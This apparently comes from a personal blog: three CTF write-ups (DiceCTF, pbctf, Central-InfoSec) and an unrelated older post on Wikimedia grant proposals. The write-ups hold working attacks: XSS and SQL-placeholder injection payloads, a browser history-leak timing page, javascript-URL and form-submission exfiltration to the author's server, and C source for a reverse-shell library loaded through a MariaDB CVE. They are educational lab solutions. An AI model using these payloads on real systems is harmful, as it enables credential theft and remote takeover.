Tuesday, February 8, 2022

Write up for DiceCTF 2022: nocookies

Last weekend I participated in DiceCTF. There was some very interesting challenges and I had a lot of fun. Here is a write-up for one of the challenges I solved.

For this challenge, we're presented with a note-keeping app. It allows storing either plaintext or markdown notes. The main distinction is instead of using cookies, it just asks you for a password on every page load.

The admin bot

The challenge also includes an admin bot, that you can give urls to, to visit. Here is a snippet from its code:

    // make an account
    const username = Array(32)
      .fill('')
      .map(() => Math.floor(Math.random() * 16).toString(16))
      .join('');
    const password = flag;

    const firstLogin = doLogin(username, password);

    try {
      page.goto(`https://no-cookies-${instance}.mc.ax/register`);
    } catch {}

    await firstLogin;

    await sleep(3000);

    // visit the note and log in
    const secondLogin = doLogin(username, password);

    try {
      page.goto(url);
    } catch {}

    await secondLogin;

As we can see from the bot code. It creates an account with a random username, and the password being the flag which we are trying to obtain. Since it first visits one page, and then a second of our choosing, this is a strong hint that the intended solution is some sort of XSS to exfiltrate the password.

The view code

Since I suspected that we were looking for an XSS, and I knew the app supported markdown, a good first place to look was the markdown rendering code. This happened entirely client-side on the view note page. Here is the relevant snippet, with important parts bolded.

<script>
  (() => {
    const validate = (text) => {
      return /^[^$']+$/.test(text ?? '');
    }

    const promptValid = (text) => {
      let result = prompt(text) ?? '';
      return validate(result) ? result : promptValid(text);
    }

    const username = promptValid('Username:');
    const password = promptValid('Password:');

    const params = new URLSearchParams(window.location.search);

    (async () => {
      const { note, mode, views } = await (await fetch('/view', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify({
          username,
          password,
          id: params.get('id')
        })
      })).json();

      if (!note) {
        alert('Invalid username, password, or note id');
        window.location = '/';
        return;
      }

      let text = note;
      if (mode === 'markdown') {
        text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
          return `<a href="${p2}">${p1}</a>`;
        });

        text = text.replace(/#\s*([^\n]+)/g, (match, p1) => {
          return `<h1>${p1}</h1>`;
        });
        text = text.replace(/\*\*([^\n]+)\*\*/g, (match, p1) => {
          return `<strong>${p1}</strong>`;
        });
        text = text.replace(/\*([^\n]+)\*/g, (match, p1) => {
          return `<em>${p1}</em>`;
        });
      }

      document.querySelector('.note').innerHTML = text;
      document.querySelector('.views').innerText = views;
    })();
  })();
</script>
 

The first thing I was drawn to was this part:

        text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
          return `<a href="${p2}">${p1}</a>`;
        });

Which looks for syntax like (Link text)[https://urltolinkto.com] and replaces it with a link. A keen eye would notice that the url is allowed to contain double quotes ("), which don't get escaped. This allows you to make extra attributes on the <a> tag. For example (link text)[http://example.com" class="foo] gets turned into <a href="http://example.com" class="foo">link text</a>. This can be used as an XSS by using html event handlers. For example, (link)[https://example.com" onmouseover="alert`1`]. Will make an alert box if you hover over the link with your mouse.

A lack of user interaction 

However, the admin bot doesn't have a mouse, and doesn't interact with the page. So how do we make the xss trigger? We can't tell it to hover over the link

This took me a little while, because I was testing on firefox, but the admin bot uses chrome, and the behaviour is mildly different. Eventually though, I found out that in chrome you can use the autofocus attribute to force focus to the element, and use an onfocus handler to execute code:

(foo)[http://example.com" autofocus=autofocus onfocus="alert`1`]

This will pop the alert box immediately on page view, including for the admin bot

Problem solved right? Wait...

With that, I had assumed I had solved the problem. All I had to do was read the password variable, and send it off to a webserver I control.

So to check if that would work, first I tried:


(foo)[http://example.com" autofocus=autofocus onfocus="alert(password&#x29;]

Note: The ) had to be escaped as &#x29; because the regex stopped at first ")"

...and got a pop-up saying "undefined". Whoops looking back at the view code, I see that const password, is defined in an anonymous arrow function, and my code is executing outside of it (Since its coming from an HTML event handler) so the password variable is not in scope.

At this point, I got stumped for a little bit.

Looking back at the code, I noticed that it was validating the password a bit weirdly

     const validate = (text) => {
      return /^[^$']+$/.test(text ?? '');
    }

It was basically checking that the password has at least 1 character, and does not contain apostrophes or dollar signs. Which is just a bit random. If this was actually important you would do it on the server side. In a CTF, one of the key things to do is look for code that stick out or code that looks like something you wouldn't normally write if writing software. This validate function looked a bit suspicious to me, although to be honest, I only thought that because I was fairly stuck at this point.

 I had a vague memory of early JS having some weird design choices around Regexes. So I decided to read up on RegExp in Javascript. Eventually I found this page https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/input which was very relevant to the matter at hand.

 In short, whenever you run a regex in javascript, JS saves the text you ran it on as a static class property, and you can access it later by looking at RegExp.input.

 This is first of all crazy (Thanks JS). However, it seemed perfect for this situation. I assumed that since the password was the last thing .test() was ran on, I could obtain it from RegExp.input

However, there was a problem. All the .replace() calls from the markdown parsing also set RegExp.input overriding the password. It seemed like I was at an impasse.

The app did support plaintext notes, which wouldn't run the problematic .replace() calls. If I could somehow get an XSS in a plaintext note, then I could use the RegExp.input trick

Perhaps the markdown XSS I found was a red herring, and I needed to look elsewhere.

 On to an SQL injection

Looking at the view code, if the note is a plaintext note, then it is inserted directly into the document without any escaping on the client side. All the escaping takes place on the backend at insert time. Lets take a look at the backend code:

 const db = {
  prepare: (query, params) => {
    if (params)
      for (const [key, value] of Object.entries(params)) {
        const clean = value.replace(/['$]/g, '');
        query = query.replaceAll(`:${key}`, `'${clean}'`);
      }
    return query;
  },

[...]
  run: (query, params) => {
    const prepared = db.prepare(query, params);
    console.log( prepared );
    return database.prepare(prepared).run();
  },
};

[...]

  db.run('INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)', {
    id,
    username,
    note: note.replace(/[<>]/g, ''),
    mode,
  });

 

 As you can see, at insert, the app strips < and > when inserting a note in the DB. It doesn't seem like there's any way to get an XSS past that filter.

However, the prepare function has a flaw that lets us manipulate how SQL queries are generated in general.

The prepare function replaces keys like :note with their escaped values one at a time. However, it doesn't check whether the parameter value contains a replacement identifier itself. For example, if your username is :note, the SQL query will become messed up after :note gets replaced in the replacement.

As an example, consider how the following query would be prepared:

db.run( 'INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)',
  {
    id: "12345",
    username: ":note",
    note: ', :mode, 22, 0)-- ',
    mode: '<img src=x onerror="alert(RegExp.input)">',
  }

Lets run through what would happen when preparing this query.

We start with:


INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)

We replace :id with '12345'

INSERT INTO notes VALUES ('12345', :username, :note, :mode, 0)

We replace :username with ':note'

 INSERT INTO notes VALUES ('12345', ':note', :note, :mode, 0)

We replace :note with ',:mode, 22, 0)-- '

 INSERT INTO notes VALUES ('12345', '', :mode, 22, 0)-- '', ',:mode, 22, 0)-- ', :note, :mode, 0)

We replace :mode with '<img src=x onerror="alert(RegExp.input)">'

 INSERT INTO notes VALUES ('12345', '', '<img src=x onerror="alert(RegExp.input)">', 22, 0)-- '', ',:mode, 22, 0)-- ', :note, :mode, 0)

Note that -- is the SQL comment character, so the end result is effectively:

  INSERT INTO notes VALUES ('12345', '', '<img src=x onerror="alert(RegExp.input)">', 22, 0);

 bypassing the XSS filter.

Success

In the end we have inserted a plaintext note containing malicious javascript (Any note that has a mode which is not 'markdown' is considered plaintext).  I visited the page, and I got a pop-up with my password.

Now all we need to do is make a payload that instead of showing the password in an alert box, exfiltrates the password to us.

I pre-registered an account with username ":note" and passwored "password". I then created a note with the following curl command:

$ curl 'https://no-cookies-0ac0b52c95f3abe3.mc.ax/create' -H 'Content-Type: application/json' --data-raw '{"username":":note","password":"password","note":",:mode, 22, 0)-- ","mode":"<img src=x onerror=\"window.location=&quot;https://bawolff.net?&quot;+RegExp.input\">"}'


{"id":"32e8c795bb8b44b74d52d74e261a2942"}

 
 I then input the view url to the admin bot service, waited for the admin bot to visit it and watched my webserver log. Sure enough, I soon saw:

34.139.106.105 - - [06/Feb/2022:08:52:49 +0000] "GET /?dice{curr3nt_st4t3_0f_j4v45cr1pt} HTTP/1.1" 200 5514 "https://no-cookies-0ac0b52c95f3abe3.mc.ax/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4855.0 Safari/537.36" 

Thus the flag is dice{curr3nt_st4t3_0f_j4v45cr1pt} 

 

p.s. I hear that RegExp.input isn't the only possible solution. I definitely was not able to think of something like this, but I heard some teams used a really ingenious solution involving replacing the document.querySelector, JSON.stringify functions and re-calling the inner async anon function so that the attacker controlled replaced JSON.stringify function gets called with the password. Which is an absolutely beautiful exploit.

 

 

Monday, October 11, 2021

Write up pbctf 2021: Vault

 This weekend I participated in the 2021 Perfect Blue CTF. This is my writeup for the Vault challenge


Challenge

Can you unlock the secret from the vault?

http://vault.chal.perfect.blue/

Notes The admin will visit http://vault.chal.perfect.blue/

Author: vakzz

dist.zip

 

We're presented with a page containing the numbers 1- 32, along with a report link feature. If you click on the numbers enough layers deep, you'll eventually allowed to put text into the page (Just text, no XSS). The layers form a directory structure in the url.

The report url feature triggers headless chrome to click through a bunch of numbers at random. After it goes 14 layers deep it inputs the flag on to the page. After that it navigates to whatever page you reported. Note: Unlike some of the other challenges, the headless chrome instance is not in incognito mode. This is important for the challenge.

It seems clear, that the goal is to try and find some way to read the history of the browser that visits your page.

Exploit

I spent a lot time banging my head against this one. Surely it should be impossible to see the user's history. That would be a major privacy violation. After all, isn't that why the :visited CSS pseudo-class is so restricted? Turns out its not restricted enough.

In trying to solve this problem, I read through https://xsleaks.dev/ - which is a great resource for unintuitive security properties in browsers. https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history lead me to a chrome bug https://bugs.chromium.org/p/chromium/issues/detail?id=252165 which had a proof of concept for leaking history through timing side channels using :visited pseudo class. The bug is wontfix - I guess browser-vendors at some point just decided to give up on preventing this type of leak. One caveat though, is :visited is totally disabled in incognito mode, so it doesn't work in that mode.

It took some fiddling with the parameters to make the PoC work in the time limit that the report-url bot had. The PoC seemed to be much slower on the report bot than it was locally. I eventually found that using a text-shadow of black 1px 1px 20px, a font-size of 2px, 150 links and 10000 link length gave good results.

 I then modified it to look for vault urls, and had it send the results to my server. See below for the exact code used

Eventually I got a log entry that looked like:

35.236.236.57 - - [10/Oct/2021:09:40:51 +0000] "GET /log?http%3A%2F%2Fvault.chal.perfect.blue%2F17%2F6%2F7%2F28%2F25%2F22%2F32%2F2%2F12%2F2%2F16%2F24%2F6%2F29%2F HTTP/1.1" 404 489 "http://bawolff.net/visitedchrome.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4655.0 Safari/537.36"

And sure enough http://vault.chal.perfect.blue/17/6/7/28/25/22/32/2/12/2/16/24/6/29/ had the flag (I think there's some max-age stuff, so it doesn't have the flag anymore)
 

Appendix - timing attack code

I was more concerned with getting the exploit working than nice code, so I took the existing PoC and made minor modifications. The result is some not very clear code. I would encourage you to look at the original PoC linked from https://bugs.chromium.org/p/chromium/issues/detail?id=252165#c2 first. To be clear, all the smart stuff about this was not made by me

<!DOCTYPE html>
<html>
<head>
<style>
#out a { color: blue }
#out a:visited { color: purple }
</style>
<style>
#out { 
  font-size: 5px; 
  overflow: hidden; 
  padding: 20px; 
  width:35%;
}
#stats { position:absolute; right:0; top: 60px; left: 40%}
p { margin: 4px 0 }
.linklist span.visited { visibility: hidden; color: white;  background: green; border-radius: 5px;  padding: 2px; font-size: 8pt }
.linklist span.visited.yes { visibility: visible }
.linklist .timings { font-family: monospace; font-size:8pt }
</style>
</head>
<body onload="updateParams()">
<h1>Detecting Visited Links via Redraw Timing</h1>
<div xonkeyup="updateParams()">
<p>text-shadow: <input id="text-shadow" value="black 1px 1px 20px" size="50"></p>
<p>opacity: <input id="opacity" size="2" value="1"> font-size: <input id="font-size" size="2" value="3">px</p>
<p>Links: <input id="textlines" value="150" size="2"> Link Length: <input id="textlen" value="10000" size="2"></p>

</div>
<div id="out" >

</div>

<div id="stats">
<p>Current URL: <span id="currentURL"></span></p>
<p id="nums"></p>
<button onclick="updateParams()">Start</button><button onclick="stop=true">Stop</button>
<div id="log"></div>
</div>
<script>
function log(param) {
	x = new XMLHttpRequest;
	x.open( 'GET', 'http://bawolff.net/log?' + encodeURIComponent(param), true );
	x.send();
	console.log( param );
}
log( "start" );
var baseUrl = 'http://vault.chal.perfect.blue/';
var urls;
function updateUrls(setup) {
	urls = [document.location.href, 'http://notvisited' + ((Math.random()*100000000)|0)+'.foo' ]
	for ( i = 1; i <=32; i++ ) {
		urls[urls.length] = baseUrl + i + '/';
	}
	if (setup) {
	setupLinks();
	}
}
updateUrls();
requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||  
   window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;  
   
var out = document.getElementById('out');
var currentURLout = document.getElementById('currentURL');

var linkspans = [];
var timespans = [];
var counter = 0;
var posTimes = [];
var negTimes = [];

var stop = true;
var start;
var currentUrl = 0;
var calibIters = 10;

function initStats() {
  currentUrl = 0;
  start = NaN;
  counter = 0;
  posTimes = [];
  negTimes = [];
  if (stop) {
    stop = false;
    loop();
  }
}

function updateParams() {
  out.style.textShadow = document.getElementById('text-shadow').value;
  out.style.opacity = parseFloat(document.getElementById('opacity').value);
  out.style.fontSize = document.getElementById('font-size').value + 'px';
  textLines = parseInt(document.getElementById('textlines').value);
  textLen = parseInt(document.getElementById('textlen').value);
	log( "trying-" + textLines + '-' + textLen );
  write();
  resetLinks();
  initStats();
}
function write() {
  var s = '';
  var url = urls[currentUrl];
  var text ='';
  while (text.length < textLen)
    text += '#';
    
  for (var i=0; i<textLines; i++) {
    s += "<a href="+url;
    s += ">"+text;
    s += "</a> ";
  }
  out.innerHTML = s;
}

function updateLinks() {
  var url = urls[currentUrl];
  for (var i=0; i<out.children.length; i++) {
    out.children[i].href = url;
    out.children[i].style.color='red';
    out.children[i].style.color='';
  }
}

function resetLinks() {
  for (var i=0; i<out.children.length; i++) {
    out.children[i].href = 'http://' + Math.random() + '.asd';
    out.children[i].style.color='red';
    out.children[i].style.color='';
  }
}

function median(list){
	list.sort(function(a,b){return a-b});
	if (list.length % 2){
		var odd = list.length / 2 - 0.5;
		return list[odd];
	}else{
		var even = list[list.length / 2 - 1];
		even += list[list.length / 2];
		even = even / 2;
		return even;
	}
}

var attempts = 0;
function loop(timestamp) {
  if (stop) return;
  
  var diff = (timestamp - start) | 0;
  start = timestamp;

  if (!isNaN(diff)) {
    counter++;
    if (counter%2 == 0) {
      resetLinks();
      if (counter > 4) {
        if (currentUrl == 0) { // calibrating visited
          document.getElementById('nums').textContent = 'Calibrating...';
          posTimes.push(diff);
          timespans[currentUrl].textContent = posTimes.join(', ');
        }
          
        if (currentUrl == 1) { // calibrating unvisited
          negTimes.push(diff);
          timespans[currentUrl].textContent = negTimes.join(', ');
          if (negTimes.length >= calibIters) {
            var medianPos = median(posTimes);
            var medianNeg = median(negTimes);
            
            // if calibration didn't find a big enough difference between pos and neg, 
            // increase number of links and try again
            if (medianPos - medianNeg < 60) {
              document.getElementById('textlines').value = textLines + 50;
              document.getElementById('textlen').value = textLen + 2;
              stop = true;
              updateParams();
              return;
            }

            threshold = medianNeg + (medianPos - medianNeg)*.75;
            document.getElementById('nums').textContent = 'Median Visited: ' + medianPos + 'ms  / Median Unvisited: ' + medianNeg + 'ms / Threshold: ' + threshold + 'ms';
	    log( "Calibrated " + textLines +';' + textLen + '. Median Visited: ' + medianPos + 'ms  / Median Unvisited: ' + medianNeg + 'ms / Threshold: ' + threshold + 'ms' + ' diff:' + (medianPos - medianNeg) );
            timeStart = Date.now();
          }
        }
        
        if (currentUrl >= 2) {
            timespans[currentUrl].textContent = diff;
            linkspans[currentUrl].className = (diff >= threshold)? 'visited yes' : 'visited';
            incUrl = true;
	    if ( diff >= threshold ) {
		stop = true;
		attempts = 0;
	    	log( urls[currentUrl] );
		baseUrl = urls[currentUrl];
		updateUrls(false);
		currentUrl = 2;
		stop = false;
  		requestAnimationFrame(loop);
		//updateParams();
		return;
	    }
        }
        
        currentUrl++;
        
        // keep testing first two links until calibration is completed
        if (currentUrl == 2 && (negTimes.length < calibIters || posTimes.length < calibIters))
          currentUrl = 0;
         
        if (currentUrl == urls.length) {
		if (attempts > 5 ) {
          timeElapsed = (Date.now() - timeStart) / 1000;
          log("DONE: Time elapsed: " + timeElapsed + "s, tested " + (((urls.length -2)/timeElapsed)|0) + " URLs/sec"); 
          stop = true;
		} else {
			attempts++;
			log( "Trying again" );
			currentUrl = 2;
		}
          
       }
          
        currentURLout.textContent = urls[currentUrl];
        
      }
    } else {
      updateLinks();
    }
  }
  requestAnimationFrame(loop);
}

function setupLinks() {
  var table = document.createElement('table');
  table.innerHTML = '<tr><th></th><th>URL</th><th>Times (ms)</th></tr>';
  table.className = 'linklist';
  for (var i=0; i < urls.length; i++) {
    var a = document.createElement('a');
    a.href = urls[i];
    a.textContent = urls[i];
    var times = document.createElement('span');
    times.className = 'timings';
    var tick = document.createElement('span');
    tick.textContent = '\u2713';
    tick.className = 'visited';
    var tr = document.createElement('tr');
    for (var j=0; j<3; j++) 
      tr.appendChild(document.createElement('td'));
    tr.cells[0].appendChild(tick);
    tr.cells[1].appendChild(a);
    tr.cells[2].appendChild(times);
    table.appendChild(tr);
    
    timespans[i] = times;
    linkspans[i] = tick;
 
  }
  document.getElementById('log').appendChild(table);
}
setupLinks();


//setTimeout(loop, 2000);

</script>
</body>
</html>



Write-Up: pbctf 2021 - TBDXSS

This weekend I participated in the 2021 Perfect Blue ctf. This is my write-up on how to solve the TBDXSS challenge.

[Note: This post has mild spoilers for the vault problem as well]

The challenge

Here is the challenge description:


The TBD in the challenge name stands for ....

https://tbdxss.chal.perfect.blue/

PS: Flag is admin bot's note.

Author: Jazzy

dist.zip

 

When we look at the web page, we find a notes app that stores a single note that an contain any html, along with a form to change the contents of the note. The contents of the note are stored in a cookie with sameSite=lax. All pages have X-Frame-options: deny.

There is also a "report a link" functionality, that triggers a headless chrome instance to visit a link of your choosing. This chrome instance has a cookie pre-installed that puts the flag into the note.


Finding the vulnerability

The first things I noticed:

  • There is no CSRF token on the form, so you can submit it cross-site
    • However, the sameSite=lax on the cookie means you have to actually navigate to the the result for the cookie to be set. You can't just post via AJAX
    • The X-Frame-Options: deny prevent you submitting the form into an <iframe> (using the target attribute on the form and name on the iframe)
    • The end result, is as far as I could tell, to change the note you would have to do a top-level navigation (e.g. via submitting a form) to change the note. The success page does not include the note, so you do not execute your JS after success.
  • You can put arbitrary html into the note (XSS!). However doing so deletes the previous contents of the note (The flag)

 

I struggled with this for a while. If not for the x-frame-options: deny, my approach would be:

  • Load the original note in an <iframe>
  • submit a form that changes the note into a different <iframe> (via target attribute on the form)
  • Load the new note in a new <iframe>. Since the two iframes belong to the same origin they should be able to have full access to each other

However, that was not to be because of the X-Frame-Options. A similar approach might be with pop-up windows, however, chrome's popup blocker would prevent that.

For a while I looked for ways to read pages cross-origin. That of course would be spitting in the face of the same origin policy, and is thus impossible. I probably should of recognized that the entirety of internet security is not a lie, and spent less time down that rabbit hole.

Later when looking at a different problem (Vault) I came to the key insight. Vault also has a similar setup with the, report a link headless chrome bot. However, the code between them had two major differences, which was suspicious.

  • TBDXSS was running in incognito mode, Vault was not (Important for the solution to vault)
  • Vault had code to ensure that all urls started with http. TBDXSS did not.

This meant that TBDXSS report feature could accept javascript: scheme urls. Thus the key XSS was not in the notes app, but in the headless chrome bot code.

 Furthermore, it appears that the chrome pop-up blocker does not apply to javascript: code in this context. (In local testing, in my normal chrome it seemed like you could only make a single pop-up from an about:blank page using javascript urls. When i tested it on the bot you could make multiple).

[Edit: After reading Sam Brow's write up for the same problem, it sounds like the pop-up blocker was disabled generally in puppeteer, so it was possible to solve this problem more directly and the javascript uri thing was unnecessary]

The Exploit

With that in mind, we can now make our exploit, using javascript urls to launch multiple pop-ups that can read from each other.

  • Launch a pop-up in a named window: window.open( 'https://tbdxss.chal.perfect.blue/note', 'first' )
  • Launch a second pop-up to a url controlled by us. This will contain a form with js to submit the form on page load, that changes the note to malicious JS.
    • The malicious JS code will involve something like: window.open('', 'first').document.body.innerHTML; to read the contents of the first frame
  •  After a delay, navigate the second pop-up to https://tbdxss.chal.perfect.blue/note so that the malicious JS is executed
  • The malicious JS reads the flag from the first pop-up, and sends it back to us

Putting it all together, the url we "report" is:

javascript:f%3Dwindow.open(%22https%3A%2F%2Ftbdxss.chal.perfect.blue%2Fnote%22%2C%20%22first%22)%3Bs%3Dwindow.open(%22https%3A%2F%2Fbawolff.net%2Fnotes.htm%22)%3BsetTimeout(function%20()%20%7Bs.location%3D%22https%3A%2F%2Ftbdxss.chal.perfect.blue%2Fnote%22%3B%7D%2C5000)%3Bvoid%200

And the contents of my https://bawolff.net/notes.htm page is:


<base href="https://tbdxss.chal.perfect.blue"></head><body>
<form action="/change_note" id="noteform" method=POST  >
 <input type="hidden" name="data"
   value="<script>
    var first = window.open('', 'first').document.body.innerHTML;
    x=new XMLHttpRequest;
    x.open('GET', 'https://bawolff.net/log?'+encodeURIComponent(first));
    x.send();
   </script>"
  >
 <input id="sub" type="submit" value="submit">
</form>
<script>
	document.getElementById( 'noteform' ).submit();
</script>
  

This results in the following in my apache log:

34.86.22.124 - - [12/Oct/2021:03:17:59 +0000] "GET /notes.htm HTTP/1.1" 200 6138 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36"
34.86.22.124 - - [12/Oct/2021:03:18:04 +0000] "GET /log?%0Apbctf%7Bg1t_m3_4_p4g3_r3f3r3nc3%7D%0A%0A%20%20%20%20 HTTP/1.1" 404 5702 "https://tbdxss.chal.perfect.blue/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/93.0.4577.0 Safari/537.36"


De-urlencoding that, the flag is: pbctf{g1t_m3_4_p4g3_r3f3r3nc3}. Thus the problem is solved.


Wednesday, April 21, 2021

Central-InfoSec CTF writeup: Hack [not] root

I'm new to participating in CTFs, but last week I (and the team I was on) tried out the Central-InfoSec CTF. It was fun, and our team ended up coming in third.

I understand that part of CTFs is writing up solutions to questions after the competition is done. With that in mind, here is my solution to the "Hack not Root" and "Hack Root" questions.

Basically, there was a linux system, and your goal is to gain access to the tc and root accounts respectively.

From a previous question, we had ssh access to an account named "ssh". So the first thing I did was figure out what was running as the tc user, to see what to attack:

 

Looks like mysql is the main surface area (If you time it just right, you will also a wget process triggered by cron once every 5 minutes).

From a previous question, we know that mysql is running on default port, with username root and no password.


First thing I thought of was to use the SELECT ... INTO OUTFILE feature, which allows you to make files as long as the file doesn't currently exist and you have proper permissions on the directory. So i tried writing a PHP file:




Unfortunately, PHP was running as the user nobody, so no dice:



 
Maybe there was some other file I could have created to escalate privs, but I didn't see anything obvious.
 
Next I checked what version of mysql was running:

mysql> SELECT VERSION();
+-----------------+
| VERSION()       |
+-----------------+
| 10.4.11-MariaDB |
+-----------------+
1 row in set (0.00 sec)
 
Looking up that version, number, it seems like it has a pretty critical vulnerability: CVE-2021-27928.
 
Basically, the  wsrep_provider variable points to a dynamically loaded object. If you change it, mysql attempts to load the object with dlopen().

First I made a shared library file the spawns a reverse shell in a constructor function (Hard coded to connect to 192.168.56.1 on port 4005):

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR "192.168.56.1"
#define REMOTE_PORT 4005

// Mark this function a constructor, so it loads immediately
// upon dlopen()
static void __attribute__ ((constructor)) \
  lib_init(void);

static void lib_init(void) {

    if (fork() != 0 ) {
       return;
    }
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    char *newargv[] = { "/bin/sh", NULL };
    char* env[] = {NULL};
    execve("/bin/sh", newargv, env);
}


Compiled with gcc: gcc exploit.c -fPIC -shared  -o exploit.so  (If you're not compliling on x86-64 linux, you probably need different arguments)

Then we need to transfer it to the system. We know from a previous question that you can access the ssh account over ssh.

scp exploit.so ssh@192.168.56.101:/tmp/exploit.so


mysql -u root -h 192.168.56.101


In preparation of exploit, launch an nc instance to catch the shell

nc -v -l 4005  (might need to add the -p option there depending on which netcat you are using)


Now, to exploit, we load this .so as the implementation of wsrep provider. This causes mariadb to to load the dynamically linked object and execute the constructor function:

SET GLOBAL wsrep_provider="/tmp/exploit.so";

It will claim this failed (Since we did not actually implement a wsrep provider), but that's ok, the exploit happens before the error processing


In the other window, our nc process has now been connected to a remote shell for the tc user:




As you can see, I ran ls, followed by id. I am the tc user in the staff group. Thus we have done the first question of getting access to the tc user.


From there, getting root is easy. Since tc is allowed to use sudo, just run sudo /bin/su. We can verify this worked using the id command.


 
And thus the problem is solved. It was a fun first CTF experience. Thank you to Central-InfoSec for putting it together.
 
The organizers indicated that they put this problem together before this CVE was even published and that there were multiple methods of solving this problem, so I'm rather curious how other people solved it.

Thursday, February 21, 2013

Tech related IEG proposals

The deadline for IEG proposals has now passed. IEGs (Individual engagement grants) are a new pilot program by the Wikimedia foundation to give small amounts of money to people who promise to do cool things with it. Ok, the criteria are a bit more complicated than that, but that is the gist of it.


I thought I'd take some time to look through the technical proposals. To be honest, I was hoping to see more programming proposals, something like google summer of code, but for already experienced devs. By and large that did not seem to happen. This may be due to some mixed messages on technical projects - contrast this mailing list post and this late addition to the rules I just discovered today. Also it may simply be because its a new program, and developers weren't its primary audience. Perhaps it has to do with the timing, which would interfere with students going to school (as opposed to google summer of code, which coincides with summer break), resulting in less student programmers participating. Who knows.

Additionally, of the technical proposals made, only one actually consulted with the developer community :( at large (by which I mean wikitech-l). I should note that some of the proposals I'm listing below as technical, are more of the form "develop a vision statement" which doesn't really require consulting with dev community. However, I still expected more people to be chatting up the devs in relation to IEG proposals.


tl;dr: My favourites are: Elaborate Wikisource strategic vision, and The Wikipedia Adventure. My runner up favourite is backlog pages for WikiProjects (That one is a runner up as its too vague on what actually will be accomplished).

Anyhow, here's my take on the technical proposals that were submitted. Note, I have mostly just read through the proposals once, so if I misunderstand anything in any of the proposals, I apologize in advance.

Backlog pages for WikiProjects

This is an interesting proposal. Basically the author notes that Wikipedia has categories and organizational pages for its various backlogs. However individual WikiProjects do not have such per-project backlog pages, or if they do, they're very limited.

The actual proposal for what to do is rather vague. It sounds slightly like figuring out what to do is part of the proposal. From what I've gathered the proposal breaks down into two related wants:

  • (Efficient) Category intersection - The ability to get all pages that are in the intersection of a set of categories. There are some tools that do this already - like DPL [Not enabled on Wikipedia, but is on other wikis like meta], and CATSCAN. Neither scales well once things get big.
  • A snazzy interface for showing the backlog - The authors point to WikiHow's CommunityDashboard as an example to potentially emulate. This is the first time I've heard of WikiHow's tool, and while I only gave it a brief glance, it is very cool looking.
Category intersection is an interesting problem, one that has been wanted for quite a long time by many people. I'm currently the maintainer of the DynamicPageList extension (however I mostly ignore it, and simply fix the rare bug that pops up). DynamicPageList does category intersection in the naive way, which simply does not scale to Wikipedia-size wikis (or even wikis significantly smaller than enwikipedia). (By naive method, I mean doing a bunch of self-joins on the categorylinks table) Some people have suggested that it may be possible to implement this efficiently using full-text indexes and a program like lucene. There's even a proof of concept extension written using this approach. Adapting DynamicPageList to use this type of method is certainly something I would personally like to investigate if I ever had a large swath of free time.

The authors of this proposal suggest $1000 to hire a developer to implement their feature requests. While its hard to be certain, as the actual project requirements of this proposal are basically not defined, that seems like way too low a number given the amount of work wanted for the project. Particularly if efficient category intersection is a requirement.

Elaborate Wikisource strategic vision

I really like this proposal. Wikisource has always been a bit of a mystery to me. I know it has something to do with digitizing documents, and proofreading the resulting text, but I don't know much beyond that. In particular, I have almost no knowledge about how their main tool, ProofreadPage, actually works.

Having a strategic vision for Wikisource would help more people understand, and thus appreciate the work of Wikisource. In turn, this may result in more people using Wikisource.

One of things I noticed about the proposal, is that they make it very clear they want to in the short term concentrate on things that do not need Wikimedia technical staff attention. This is probably a reaction to how Wikisource has been ignored by both the foundation and the larger developer community. The vast majority of work done on Wikisource related extensions has been done by volunteer developers who come from the Wikisource project. Personally I would caution this proposal from ignoring potential wmf tech resources too much. Well its important to consider what is do-able and what is not, it is also good to first decide what is wanted, and then figure out how to do it (Where there's a will there's a way). Wikisource may even find that once there is a clear picture of what is needed, much more resources are available to them. WMF employees aren't the only developers, there are also (non-wikisource) volunteers. Who knows, perhaps these people would be willing to help if they knew what needed doing (More generally, if you want some new feature for your wiki, a good first step is always to produce a good design document of precisely what is wanted. Developers aren't mind readers, and would much rather code than try to figure out what the user wants. Having a clear statement about what you need may be half the battle to getting what you need). Also just because the WMF isn't willing to devote tech resources to Wikisource, doesn't mean that employees might not help. Employees do have 20% time, and occasionally even commit code unrelated to foundation goals in their free time.

I really wish this project luck, and should it be accepted, I look forward to reading the final report.
Edit: I wrote this section before I saw the new part of the rules where nothing involving WMF-tech resources is allowed. With that in mind, the no-wmf-tech parts of this proposal make much more sense.

Mapping History: Revision History Visualizer and Improvement Suggester using Geo-Spatial Technologies

This one gets points for being the only tech proposal to actually talk to the developer community.

Basically what they want to do, is create a map from an articles edit history, to highlight which region is editing the article the most. Afterwards they want to do some fancy machine learning stuff to see if any automatic inferences can be made from this geo-spatial data (For example, if only one country edits an article, maybe its POV).

Unfortunately the proposal has several problems. First of all the privacy policy. The authors want to get the IP addresses of logged in users, in order to find out roughly where they live, so they can be plotted on a map. That's not going to happen for privacy reasons, end of story. Hence the visualizations will be a lot less complete (If they only use anon locations). The proposal could perhaps parse user pages for location based infoboxes, but not everyone specifies that sort of information

